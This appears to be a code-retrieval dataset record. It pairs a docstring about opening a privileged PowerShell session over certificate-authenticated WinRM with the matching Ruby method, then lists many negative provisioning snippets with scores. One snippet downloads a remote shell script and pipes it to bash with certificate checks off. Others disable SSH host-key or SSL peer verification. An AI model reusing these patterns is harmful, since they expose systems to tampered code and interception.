"def setup(credentials = {})\n requires :public_key, :ssh_ip_address, :username\n\n credentials[:proxy]= ssh_proxy unless ssh_proxy.nil?\n credentials[:password] = password unless self.password.nil?\n credentials[:key_data] = [private_key] if self.private_key\n\n commands = [\n %{mkdir .ssh},\n # %{passwd -l #{username}}, #Not sure if we need this here\n # %{echo \"#{Fog::JSON.encode(attributes)}\" >> ~/attributes.json}\n ]\n if public_key\n commands << %{echo \"#{public_key}\" >> ~/.ssh/authorized_keys}\n end\n\n # wait for domain to be ready\n Timeout::timeout(360) do\n begin\n Timeout::timeout(8) do\n Fog::SSH.new(ssh_ip_address, username, credentials.merge(:timeout => 4)).run('pwd')\n end\n rescue Errno::ECONNREFUSED\n sleep(2)\n retry\n rescue Net::SSH::AuthenticationFailed, Timeout::Error\n retry\n end\n end\n Fog::SSH.new(ssh_ip_address, username, credentials).run(commands)\n end", "def setup\n\n end", "def setup\n\n end", "def provision_pe_xl_nodes\n puts NOOP_MESSAGE if NOOP\n puts TEST_MESSAGE if TEST\n puts PROVISION_MESSAGE\n\n # TODO: update provision_hosts_for_roles to generate last_abs_resource_hosts.log\n # and generate Beaker hosts files\n if NOOP\n puts NOOP_EXEC\n else\n hosts = if TEST\n HA ? TEST_HOSTS_HA : TEST_HOSTS_NO_HA\n else\n provision_hosts_for_roles(ROLES, AWS_TAG_ID, AWS_SIZE, AWS_VOLUME_SIZE)\n end\n\n create_pe_xl_bolt_files(hosts, OUTPUT_DIR)\n end\nend", "def setup\n\t\tend", "def setup\n\t\tend", "def setup_ssh\n # create pem certificate\n FileUtils.mkdir_p(\"#{@path}/.ssh\")\n %x(ssh-keygen -t rsa -b 2048 -v -N '' -f #{@path}/.ssh/#{@vm_name})\n # File.rename(\"#{@path}/.ssh/#{@vm_name}\", \"#{@path}/.ssh/#{@vm_name}.pem\")\n File.rename(\n [@path, '.ssh', @vm_name].join('/'),\n [@path, '.ssh', \"#{@vm_name}.pem\"].join('/'))\n end", "def invoke_setup!\n source_command_wrapper\n @setup_block.call(self) if @setup_block\n end", "def configure_tpm2_0_tools(hosts)\n start_tpm2sim_on(hosts)\n config_abrmd_for_tpm2sim_on(hosts)\nend", "def create_ssh_setup\n command = \"echo 'y\\\\\\n' \\| ssh-keygen -f /tmp/#{@name_args[0]}.key -N \\\"\\\" -P \\\"\\\"\"\n result = run_remote_command(command)\n\n if config[:username].eql? \"root\"\n auth_keys_file = '/root/.ssh/authorized_keys'\n else\n auth_keys_file = \"/home/#{config[:username]}/.ssh/authorized_keys\"\n end\n\n # we don't want to overwrite anything that may already exist here\n command = \"echo \\\"\\##{@name_args[0]}\\\" >> #{auth_keys_file}\"\n result = run_remote_command(command)\n\n command = \"cat /tmp/#{@name_args[0]}.key.pub >> #{auth_keys_file}\"\n result = run_remote_command(command)\n\n command = \"chmod 0600 #{auth_keys_file}\"\n result = run_remote_command(command)\n\n command = \"cat /tmp/#{@name_args[0]}.key\"\n ssh_key = run_remote_command(command)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def initiate_nodes_upgrade\n upgrade_nodes = Node.all.reject do |node|\n node.admin? || node[:platform] == \"windows\" || node.state != \"crowbar_upgrade\"\n end\n check_if_nodes_are_available upgrade_nodes\n admin_node = Node.admin_node\n upgrade_nodes_failed = []\n\n upgrade_nodes.each do |node|\n node[\"target_platform\"] = admin_node[\"provisioner\"][\"default_os\"]\n node.save\n node.set_state(\"os-upgrading\")\n end\n\n # wait for the pxe_config to be updated, then reboot the nodes\n discovery_dir = \"#{Node.admin_node[:provisioner][:root]}/discovery/\"\n pxecfg_subdir = \"bios/pxelinux.cfg\"\n\n upgrade_nodes.each do |node|\n boot_ip_hex = node[\"crowbar\"][\"boot_ip_hex\"]\n node_arch = node[\"kernel\"][\"machine\"]\n pxe_conf = \"#{discovery_dir}/#{node_arch}/#{pxecfg_subdir}/#{boot_ip_hex}\"\n ready_for_reboot = false\n\n while Time.now.to_i < Time.now.to_i + 120 && !ready_for_reboot\n Rails.logger.debug(\"waiting for pxe configuration to be updated for #{node.name}\")\n if File.file?(pxe_conf)\n File.open(pxe_conf).each_line do |line|\n line.chomp!\n if line =~ /^DEFAULT\\s+.+_install$/\n ready_for_reboot = true\n end\n end.close\n end\n sleep(5) unless ready_for_reboot\n end\n if ready_for_reboot\n Rails.logger.debug(\"Rebooting node #{node.name} for operating system upgrade\")\n ssh_status = node.ssh_cmd(\"/sbin/reboot\")\n if ssh_status[0] != 200\n Rails.logger.error(\"Upgrade failed for machine #{node.name}. Could not ssh.\")\n upgrade_nodes_failed.push(node.name)\n end\n else\n Rails.logger.error(\"Upgrade failed for #{node.name}. Node not ready for reboot\")\n upgrade_nodes_failed.push(node.name)\n end\n end\n # If list is empty, this method was successful.\n upgrade_nodes_failed\n end", "def init\n @calls = []\n @accept_nodes = []\n @connected_nodes = nil\n @remote_bash_code = nil\n end", "def setup\n # no setup\n\tend", "def initial_setup\n CORE.each { |c| c.auto_migrate! }\n end", "def setup\n debug 'No custom setup defined'\n end", "def bootstrap\n @commands += [\n \"export HOME=`pwd`\" ,\"\\n\",\n \"wget --no-check-certificate https://raw.githubusercontent.com/bcwik9/ScriptsNStuff/master/setup_dev_server.sh && bash setup_dev_server.sh\", \"\\n\"\n ]\n end", "def install_tscm\n case node['platform']\n when 'windows'\n if ::File.directory?(node['tscm']['alreadyInstalledFile'].to_s)\n Chef::Log.info('tscm is already install, nothing to install for tscm agent')\n else\n # Create temp directory where we copy/create source files to install tscm agent\n directory \"#{node['tscm']['temp']}\" do\n action :create\n end\n # get tscm agent media to our temp dir\n remote_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['TSCMfile']}\" do\n source \"#{node['tscm']['TSCMfile_Path']}\"\n action :create\n end\n\n media = \"#{node['tscm']['temp']}\\\\#{node['tscm']['TSCMfile']}\"\n Chef::Log.info(\"media: #{media}\")\n\n # Unpack media\n ruby_block 'unzip-install-file' do\n block do\n Chef::Log.info('unziping the tscm Installer file')\n command = powershell_out \"Add-Type -assembly \\\"system.io.compression.filesystem\\\"; [io.compression.zipfile]::ExtractToDirectory('#{media}', 'C:\\\\tscm_temp')\"\n Chef::Log.debug command\n action :create\n end\n end\n Chef::Log.info('Performing tscm agent installation...')\n ruby_block 'Install TSCM Agent' do\n block do\n install_cmd = powershell_out \"Start-Process '#{node['tscm']['temp']}\\\\setup-x64.exe' '/verysilent /suppressmsgboxes /log=C:/tscminstall.log'\"\n Chef::Log.debug install_cmd\n not_if { ::File.exist?(\"#{node['tsm']['alreadyInstalledFile']}\") }\n end\n action :create\n end\n # Create directory where we copy wsusscn2.cab file from TSCM Server\n directory node['tscm']['patchAuditingPath'].to_s do\n action :create\n recursive true\n end\n\n # copy tscm proxy key of tscm server on Node\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\" do\n source \"#{node['tscm']['native_proxykey']}\"\n action :create\n end\n # fix permissions of client side files keys\n powershell_script 'fix_keyfile_permission' do\n code <<-EOH\n cd 'C:/Program Files/OpenSSH-Win64/'\n Import-Module ./OpenSSHUtils.psd1 -Force \n Repair-UserKeyPermission -FilePath 'C:\\\\tscm_temp\\\\SCM_id_rsa' -Confirm:$false\n EOH\n end\n\n # Copy AuditPatching File to required location on the node\n Chef::Log.info('Copy audit patching file')\n execute 'Copy_auditPatching_file' do\n command 'C:/PROGRA~1/OpenSSH-Win64/scp.exe -o StrictHostKeyChecking=no -i C:/tscm_temp/SCM_id_rsa [email protected]:/C:/PROGRA~1/IBM/SCM/client/software/completed/wsusscn2.cab C:/PROGRA~1/IBM/SCM/client/software/completed/'\n action :run\n end\n\n # Delete Program file which affect to start the SCM service\n file 'C:\\\\Program' do\n only_if { ::File.exist?('C:\\\\Program') }\n action :delete\n end\n \n # Copy the wrapper script on tscm temp directory\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_ScriptFile']}\" do\n source \"#{node['tscm']['native_ScriptFile']}\"\n action :create\n end\n\n # Updating the debug value as true in client.pref file\n ruby_block 'update_debugValue' do\n block do\n Chef::Log.info('Sleeping for thirty second to wait to create the client.pref file')\n sleep(30)\n Chef::Log.info('Updating the debug value of client.pref file')\n file_name = \"#{node['tscm']['clientConfFile']}\"\n text = ::File.read(file_name)\n new_contents = text.gsub(/debug=false/, 'debug=true')\n # write changes to the file\n ::File.open(file_name, 'w') { |file| file.puts new_contents }\n end\n action :create\n end\n \n # Restart the SCM service for reflecting the changes\n service \"#{node['tscm']['serviceName']}\" do\n action :restart\n end\n end\n end\nend", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def prepare_common_installation\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy:prepare_installation:common -S phase=node_prepare HOSTS=#{self.hostname}`\n end", "def setup\n setup_methods.each { |m| self.send(m) }\n start_services\n \n wait_time = cfg('wait-after-startup')\n if not wait_time.nil?\n 1.upto(wait_time) do |i|\n puts \"Waiting #{wait_time-i} seconds before commencing benchmarks\"\n sleep 1\n end\n end\n end", "def prepare_deploy\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy:setup -S phase=node_prepare HOSTS=#{self.hostname}`\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy -S phase=node_prepare HOSTS=#{self.hostname}`\n end", "def run_setup(state, target)\n # Go get our machine/transport to our machine\n machines = state[:machines]\n raise ClientError, \"No machine with name #{target} exists, cannot setup test \" +\n \"suite as specified by .kitchen.yml\" if !machines.include?(target)\n node = get_node(state, target)\n provisioner = ChefMetal.provisioner_for_node(node)\n machine = provisioner.connect_to_machine(node)\n transport = machine.transport\n\n # Get the instance busser/setup and run our test setup on our machine\n busser = instance.busser\n old_path = busser[:test_base_path]\n busser[:test_base_path] = \"#{busser[:test_base_path]}/#{target}\"\n execute(transport, busser.setup_cmd)\n # We have to reset this after we modify it for the node; otherwise this is\n # a persistent change\n busser[:test_base_path] = old_path\n end", "def setup\n # override this if needed\n end", "def setup\n java.lang.System.setProperty(\"vbox.home\", Travis::Worker.config.vms.vbox_home)\n\n require 'vboxjxpcom.jar'\n\n java_import 'org.virtualbox_4_1.VirtualBoxManager'\n java_import 'org.virtualbox_4_1.VBoxEventType'\n java_import 'org.virtualbox_4_1.LockType'\n java_import 'org.virtualbox_4_1.MachineState'\n java_import 'org.virtualbox_4_1.IMachineStateChangedEvent'\n java_import 'org.virtualbox_4_1.DeviceType'\n java_import 'org.virtualbox_4_1.AccessMode'\n java_import 'org.virtualbox_4_1.MediumType'\n java_import 'org.virtualbox_4_1.SessionState'\n end", "def setup\n\t\t# Do nothing\n\tend", "def setup\n\t\t# Do nothing\n\tend", "def setup_zk\n unless @zk\n @zk = ZK.new(\"#{@options[:zkservers]}#{@options[:chroot] || ''}\")\n @zk.register(manual_failover_path) do |event|\n handle_manual_failover_update(event)\n end\n @zk.on_connected { @zk.stat(manual_failover_path, :watch => true) }\n end\n\n create_path(@root_znode)\n create_path(current_state_root)\n @zk.stat(manual_failover_path, :watch => true)\n end", "def setup\n true\n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n unless @platform.provisioning.empty?\n script = @platform.provisioning.join(' && ')\n dispatch(script)\n end\n end", "def register_tscm\n case node['platform']\n when 'redhat'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n if client_id.to_i == -1\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n # check for key required for server authentication\n verify_key\n\n # registering client using ssh command\n execute 'register-node' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n \n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n end\n\n # registering on aix\n when 'aix'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n # check if the key is available; download in case it is not available\n verify_key\n \n Chef::Log.error(client_id.to_i)\n if client_id.to_i == -1\n Chef::Log.info('Registering the TSCM client.......')\n\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n execute 'register-tscm' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n\n # checking log files for validating registration\n if ::File.exist?('/opt/IBM/SCM/client/client.log') && ::File.readlines('/opt/IBM/SCM/client/client.log').grep(/Storing obsfucated schedules/)\n Chef::Log.info('Registration Success...........')\n else\n Chef::Log.error('Registration Failed...........')\n end\n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n Chef::Log.error((node['tscm']['registration_status']).to_s)\n end\n end\nend", "def setup\n setup_major_pieces\n setup_pawns\n end", "def run\n Shef::Extensions.extend_context_object(self)\n ssh_config = []\n\n ssh_config << \"\\n\\n### BEGIN KNIFE BLOCK ###\"\n ssh_config << \"## This was generated by `knife setup ssh`:\"\n\n STDOUT.sync = true\n\n nodes.all do |n|\n next if /vagrant/.match(n.name)\n name = n.name\n name << '.lisausa.net' unless /\\.lisausa.net\\Z/.match(n.name)\n\n begin\n hostname = n.ipaddress\n rescue => ex\n ui.warn(\"Error (#{ex.inspect}) while getting #ipaddress for #{n.name}\")\n next\n end\n\n ssh_config << [\n \"Host #{name}\",\n \" HostName #{hostname}\",\n \" HostKeyAlias #{[name,hostname,n.macaddress].join('-')}\"\n ]\n end\n\n if (c = Chef::Config.knife).keys.grep(/identity_file|ssh_user/).any?\n ssh_config.push [\n \"Host *.lisausa.net\",\n \" IdentitiesOnly yes\",\n \" PasswordAuthentication no\",\n \" ForwardAgent yes\"\n ]\n ssh_config.push \" IdentityFile #{c[:identity_file]}\" if c[:identity_file]\n ssh_config.push \" User #{c[:ssh_user]}\" if c[:ssh_user]\n end\n\n ssh_config << \"### END KNIFE BLOCK ###\"\n ssh_config = ssh_config.flatten.join(\"\\n\")\n\n file_path = File.join(ENV['HOME'], '.ssh', 'config')\n if config[:write] or ui.ask_question(\"Write config to #{file_path} (Y/N)?\", default: 'N').downcase == 'y'\n FileUtils.copy_file(file_path, \"#{file_path}~\")\n File.open(file_path, File::RDWR|File::CREAT) do |f|\n f.flock(File::LOCK_EX)\n\n contents = f.read.gsub(/\\n*### BEGIN KNIFE BLOCK ###.+?(### END KNIFE BLOCK ###|\\Z)/m, ssh_config)\n unless contents.include?('### BEGIN KNIFE BLOCK ###')\n contents << ssh_config\n end\n f.rewind\n f.truncate(0)\n f.write contents\n end\n ui.msg \"Wrote to #{file_path}. Previous contents were backed up to #{file_path}~\"\n else\n ui.msg \"Copy and paste the following into your #{file_path} file:\"\n ui.msg ssh_config\n end\n end" ]
[ "0.71319485", "0.68619806", "0.6611577", "0.65918165", "0.65398633", "0.6499428", "0.6360139", "0.6351897", "0.63481176", "0.6339559", "0.6328013", "0.63023007", "0.6292811", "0.6223144", "0.6216185", "0.6192764", "0.6182316", "0.61616516", "0.61466134", "0.61063254", "0.608065", "0.60741496", "0.6072641", "0.6072641", "0.6072641", "0.6072641", "0.6072641", "0.606386", "0.5985035", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5982687", "0.5980337", "0.5972373", "0.5961065", "0.59580255", "0.59463847", "0.5945952", "0.59434634", "0.5935249", "0.5931489", "0.5930172", "0.5928282", "0.59269696", "0.59246665", "0.59246135", "0.59106886", "0.59106886", "0.5906984", "0.5874897", "0.5874897", "0.5866741", "0.58538806", "0.5846173", "0.5840287", "0.583565", "0.583565", "0.58353305", "0.583074", "0.5826698", "0.5820188", "0.5817176", "0.58125365", "0.5804533", "0.58033615", "0.58033615", "0.58033615", "0.58033615", "0.58033615", "0.58033615", "0.58020073", "0.5796603", "0.57941675", "0.5791999", "0.579108", "0.57891595", "0.5782919", "0.5782919", "0.5770368", "0.57694906", "0.57506126", "0.57506126", "0.57506126", "0.57506126", "0.57506126", "0.57506126", "0.57506126", "0.5745774", "0.5744595", "0.5743638", "0.57354826" ]
0.6566243
4
Get a privileged Powershell session on the server in question, using SSLencrypted WinRM with certificate authentication.
def getWinRMSession(max_retries = 40, retry_interval = 60, timeout: 30, winrm_retries: 5, reboot_on_problems: false) nat_ssh_key, nat_ssh_user, nat_ssh_host, canonical_ip, ssh_user, ssh_key_name = getSSHConfig @mu_name ||= @config['mu_name'] conn = nil shell = nil opts = nil # and now, a thing I really don't want to do MU::MommaCat.addInstanceToEtcHosts(canonical_ip, @mu_name) # catch exceptions that circumvent our regular call stack Thread.abort_on_exception = false Thread.handle_interrupt(WinRM::WinRMWSManFault => :never) { begin Thread.handle_interrupt(WinRM::WinRMWSManFault => :immediate) { MU.log "(Probably harmless) Caught a WinRM::WinRMWSManFault in #{Thread.current.inspect}", MU::DEBUG, details: Thread.current.backtrace } ensure # Reraise something useful end } retries = 0 rebootable_fails = 0 begin MU.log "Calling WinRM on #{@mu_name}", MU::DEBUG, details: opts opts = { endpoint: 'https://'+@mu_name+':5986/wsman', retry_limit: winrm_retries, no_ssl_peer_verification: true, # XXX this should not be necessary; we get 'hostname "foo" does not match the server certificate' even when it clearly does match ca_trust_path: "#{MU.mySSLDir}/Mu_CA.pem", transport: :ssl, operation_timeout: timeout, client_cert: "#{MU.mySSLDir}/#{@mu_name}-winrm.crt", client_key: "#{MU.mySSLDir}/#{@mu_name}-winrm.key" } conn = WinRM::Connection.new(opts) MU.log "WinRM connection to #{@mu_name} created", MU::DEBUG, details: conn shell = conn.shell(:powershell) shell.run('ipconfig') # verify that we can do something rescue Errno::EHOSTUNREACH, Errno::ECONNREFUSED, HTTPClient::ConnectTimeoutError, OpenSSL::SSL::SSLError, SocketError, WinRM::WinRMError, Timeout::Error => e retries, rebootable_fails = handleWindowsFail(e, retries, rebootable_fails, max_retries: max_retries, reboot_on_problems: reboot_on_problems, retry_interval: retry_interval) retry ensure MU::MommaCat.removeInstanceFromEtcHosts(@mu_name) end shell end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unelevated_session(retry_options = {})\n @unelevated_session ||= connection(retry_options).shell(:powershell)\n end", "def elevated_session(retry_options = {})\n @elevated_session ||= begin\n connection(retry_options).shell(:elevated).tap do |shell|\n shell.username = options[:elevated_username]\n shell.password = options[:elevated_password]\n end\n end\n end", "def getWinRMSession(max_retries = 40, retry_interval = 60, timeout: 30, winrm_retries: 2, reboot_on_problems: false)\n _nat_ssh_key, _nat_ssh_user, _nat_ssh_host, canonical_ip, _ssh_user, _ssh_key_name = getSSHConfig\n @mu_name ||= @config['mu_name']\n\n shell = nil\n opts = nil\n # and now, a thing I really don't want to do\n MU::Master.addInstanceToEtcHosts(canonical_ip, @mu_name)\n\n # catch exceptions that circumvent our regular call stack\n Thread.abort_on_exception = false\n Thread.handle_interrupt(WinRM::WinRMWSManFault => :never) {\n begin\n Thread.handle_interrupt(WinRM::WinRMWSManFault => :immediate) {\n MU.log \"(Probably harmless) Caught a WinRM::WinRMWSManFault in #{Thread.current.inspect}\", MU::DEBUG, details: Thread.current.backtrace\n }\n ensure\n # Reraise something useful\n end\n }\n\n retries = 0\n rebootable_fails = 0\n begin\n loglevel = retries > 4 ? MU::NOTICE : MU::DEBUG\n MU.log \"Calling WinRM on #{@mu_name}\", loglevel, details: opts\n opts = {\n retry_limit: winrm_retries,\n no_ssl_peer_verification: true, # XXX this should not be necessary; we get 'hostname \"foo\" does not match the server certificate' even when it clearly does match\n ca_trust_path: \"#{MU.mySSLDir}/Mu_CA.pem\",\n transport: :ssl,\n operation_timeout: timeout,\n }\n if retries % 2 == 0 # NTLM password over https\n opts[:endpoint] = 'https://'+canonical_ip+':5986/wsman'\n opts[:user] = @config['windows_admin_username']\n opts[:password] = getWindowsAdminPassword\n else # certificate auth over https\n opts[:endpoint] = 'https://'+@mu_name+':5986/wsman'\n opts[:client_cert] = \"#{MU.mySSLDir}/#{@mu_name}-winrm.crt\"\n opts[:client_key] = \"#{MU.mySSLDir}/#{@mu_name}-winrm.key\"\n end\n conn = WinRM::Connection.new(opts)\n conn.logger.level = :debug if retries > 2\n MU.log \"WinRM connection to #{@mu_name} created\", MU::DEBUG, details: conn\n shell = conn.shell(:powershell)\n shell.run('ipconfig') # verify that we can do something\n rescue Errno::EHOSTUNREACH, Errno::ECONNREFUSED, HTTPClient::ConnectTimeoutError, OpenSSL::SSL::SSLError, SocketError, WinRM::WinRMError, Timeout::Error => e\n retries, rebootable_fails = handleWindowsFail(e, retries, rebootable_fails, max_retries: max_retries, reboot_on_problems: reboot_on_problems, retry_interval: retry_interval)\n retry\n ensure\n MU::Master.removeInstanceFromEtcHosts(@mu_name)\n end\n\n shell\n end", "def web_session()\n get(:signed, {:method => \"auth.getWebSession\"})\n end", "def new_session\n @logger.info(\"Attempting to connect to WinRM (patched)...\")\n @logger.info(\" - Host: #{@host}\")\n @logger.info(\" - Port: #{@port}\")\n @logger.info(\" - Username: #{@username}\")\n\n client = ::WinRM::WinRMWebService.new(endpoint, :ssl, endpoint_options)\n client.set_timeout(@timeout_in_seconds)\n client.toggle_nori_type_casting(:off) #we don't want coersion of types\n client\n end", "def login_with_puppet_access_on(host, credentialed_dispatcher, opts={})\n\n lifetime = opts[:lifetime] || nil\n unless host.platform =~ /win/\n\n user = credentialed_dispatcher.credentials.login\n password = credentialed_dispatcher.credentials.password\n args = ['login']\n args.push \"--lifetime #{lifetime}\" if lifetime\n puppet_access_on(host, *args, {:stdin => \"#{user}\\n#{password}\\n\"})\n else\n\n # this is a hack\n # puppet-access needs to support alternative to interactive login\n # create .puppetlabs dir\n cmd = Beaker::Command.new('echo', ['%userprofile%'], :cmdexe => true)\n user_home_dir = host.exec(cmd).stdout.chomp\n win_token_path = \"#{user_home_dir}\\\\.puppetlabs\\\\\"\n host.exec(Beaker::Command.new('MD', [win_token_path.gsub('\\\\', '\\\\\\\\\\\\')], :cmdexe => true), :accept_all_exit_codes => true)\n\n token = credentialed_dispatcher.acquire_token_with_credentials(lifetime)\n create_remote_file(host, \"#{win_token_path}\\\\token\", token)\n end\n end", "def get_session(env, sid)\n raise '#get_session not implemented.'\n end", "def get_session(env, sid)\n raise '#get_session needs to be implemented.'\n end", "def get_session2\n privileged = @@session_id_privileged rescue false\n if !privileged\n @@session_id = nil\n @@session_id_privileged = true\n end\n begin\n if not @@session_id.nil?\n return @@session_id\n else\n @@session_id = get_new_session2\n end\n rescue\n @@session_id = get_new_session2\n end\n return @@session_id\n end", "def get_session( params )\n LastFM.get( \"auth.getSession\", params, :secure )\n end", "def get_ssh_session\n ssh = nil\n begin\n ssh = Net::SSH.start(@node, @user, :password => @password)\n ssh.loop(true)\n rescue Exception => e\n puts \"Unknown Net:SSH Exception : #{e.message}\"\n return nil\n end\n ssh\n end", "def request_session_key\n D 'Private key provided, asking server for session key'\n key_fp = Crypto.key_fingerprint @client.private_key\n send_command GenerateSessionKeyCommand.new(key_fp) \n end", "def security_server_client\n end", "def retrieve_session\n request.method = :get\n request.uri = '_session'\n Couchdbtools.execute(request)\n end", "def ssl_generate_certificate\n Rex::Socket::SslTcpServer.ssl_generate_certificate\n end", "def sess\n self.http_get(self.session_uri)#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end", "def get_session( env, sid )\n return _get_session( env, sid ) unless env['rack.multithread']\n mutex.synchronize do\n return _get_session( env, sid )\n end \n end", "def tls_web_server_authentication\n @tls_web_server_authentication ||= @node.at('TLSWebServerAuthentication').inner_text\n end", "def session_get\n nessus_rest_get(\"session\")\n end", "def find_session(env, sid); end", "def create_session\n Puppet::HTTP::Session.new(self, build_resolvers)\n end", "def ssl_context\n @tls&.ssl_context\n end", "def open_session_with_login\n $system_config ||= load_config(@@SERVER_CONFIG_PATH)\n url = \"#{$system_config.protocol}://#{$system_config.host}:#{$system_config.port}\"\n Util.open_session(url)\n Util.login($system_config.user, $system_config.password)\n end", "def login(user, password, sid = nil)\n sid ||= IDMIN + rand(IDMAX-IDMIN)\n @nurl ||= \"https://localhost:8834/\"\n post = { \"username\" => user, \"password\" => password, 'seq' => sid }\n\n response_json = nessus_request('session', post)\n\n if response_json['token']\n @token = response_json['token']\n @name = user\n @seqid = sid\n # Compatibility with XMLRPC ivar\n user_permissions = nessus_request('session', auth_header, :get)['permissions']\n @admin = ([64,128].any? {|perm| perm == user_permissions}).to_s.upcase\n return @token\n else\n raise \"Cannot authenticate to #{@nurl} as #{user} with #{password} due to #{response_json['error']}\"\n end\n\n end", "def redmine_check_auth(m)\n \tbegin\n\t\tif ! @registry[\"#{m.sourcenick}_auth\"]\n\t\t\tm.reply \"#{@redmine_l_hello} #{m.sourcenick}, #{@redmine_l_pleaseconnect}.\"\n\t\t\treturn false\n\t\telse\n\t\t\tauthstored = @registry[\"#{m.sourcenick}_auth\"]\n\t\t\tcertificate = {:username => authstored[0].username, :password => authstored[0].password}\n\t\t\treturn certificate\n\t\tend\n rescue Exception => e\n m.reply e.message\n m.reply e.backtrace.inspect\n end\t\n end", "def get_session\n return Seasar::CGI::Session.get_session(@cgi)\n end", "def session_from_redis\n redis_handler.get\n end", "def get_session(options = {})\n get_session!(options)\n rescue Error::SessionsNotSupported\n nil\n end", "def get_certificate(kerberos)\n mech = Mechanize.new do |m|\n m.user_agent_alias = 'Linux Firefox'\n # NOTE: ca.mit.edu uses a Geotrust certificate, not the self-signed one\n end\n login_page = mech.get 'https://ca.mit.edu/ca/'\n login_form = login_page.form_with :action => /login/\n login_form.field_with(:name => /login/).value = kerberos[:user]\n login_form.field_with(:name => /pass/).value = kerberos[:pass]\n login_form.field_with(:name => /mitid/).value = kerberos[:mit_id]\n keygen_page = login_form.submit login_form.buttons.first\n\n keygen_form = keygen_page.form_with(:action => /ca/)\n if /login/ =~ keygen_form.action\n raise ArgumentError, 'Invalid Kerberos credentials'\n end\n keygen_form.field_with(:name => /life/).value = kerberos[:ttl] || 1\n key_pair = keygen_form.keygens.first.key\n response_page = keygen_form.submit keygen_form.buttons.first\n \n cert_frame = response_page.frame_with(:name => /download/)\n cert_bytes = mech.get_file cert_frame.uri\n cert = OpenSSL::X509::Certificate.new cert_bytes\n {:key => key_pair, :cert => cert}\n end", "def open_session\n s = Session.wrap(Cproton.pn_session(@impl))\n s.open\n return s\n end", "def establish_winrm(opts)\n http_method = ( server.port.to_s=~/(443|5986)/ ? 'https' : 'http' )\n endpoint = \"#{http_method}://#{server}/wsman\"\n\n transport_opts = {}\n transport_opts[:disable_sspi] = opts[:winrm_disable_sspi] unless opts[:winrm_disable_sspi].nil?\n transport_opts[:basic_auth_only] = opts[:winrm_basic_auth_only] unless opts[:winrm_basic_auth_only].nil?\n\n if opts[:winrm_krb5_realm]\n transport_opts[:realm] = opts[:winrm_krb5_realm]\n inst = WinRM::WinRMWebService.new(endpoint, :kerberos, transport_opts)\n else\n unless opts[:winrm_ssl_ca_store]\n transport_opts[:user] = opts[:winrm_user]\n transport_opts[:pass] = opts[:winrm_password]\n inst = WinRM::WinRMWebService.new(endpoint, :plaintext, transport_opts)\n else\n transport_opts[:user] = opts[:winrm_user]\n transport_opts[:pass] = opts[:winrm_password]\n transport_opts[:ca_trust_path] = opts[:winrm_ssl_ca_store]\n inst = WinRM::WinRMWebService.new(endpoint, :ssl, transport_opts)\n end\n end\n inst\n end", "def session\n Session.wrap(Cproton.pn_link_session(@impl))\n end", "def non_interactive_login(username, password, cert_key_file_path, cert_file_path)\n json = post({\n url: \"https://identitysso.betfair.com/api/certlogin\",\n body: { username: username, password: password },\n headers: { \"Content-Type\" => \"application/x-www-form-urlencoded\" },\n cert_key_file_path: cert_key_file_path,\n cert_file_path: cert_file_path\n })\n\n add_session_token_to_persistent_headers(json[\"sessionToken\"])\n end", "def session\n Thread.current['clients_manager'].client('Website').session\n end", "def getMobileSession(username, password)\r\n #authToken = Digest::MD5.hexdigest(@username + Digest::MD5.hexdigest(@password))\r\n api_sig = signatureMobile({:method => \"auth.getMobileSession\", :password => password, :username => username, :api_key => @apiKey})\r\n\r\n connection = Request.new(\"https://ws.audioscrobbler.com/2.0/\")\r\n query =\r\n {\r\n :method => \"auth.getMobileSession\",\r\n :api_key => @apiKey,\r\n :api_sig => api_sig,\r\n :username => username,\r\n :password => password\r\n }\r\n xml = connection.post(\"\", query)\r\n doc = XmlSimple.xml_in(xml)\r\n if(doc[\"status\"] == \"failed\")\r\n puts \"\\tgetMobileSession failed, code: \" + doc[\"error\"][0][\"code\"] + \" content: \" + doc[\"error\"][0][\"content\"]\r\n return \"failed\"\r\n else\r\n return doc[\"session\"][0][\"key\"][0]\r\n end\r\n end", "def open_session; end", "def 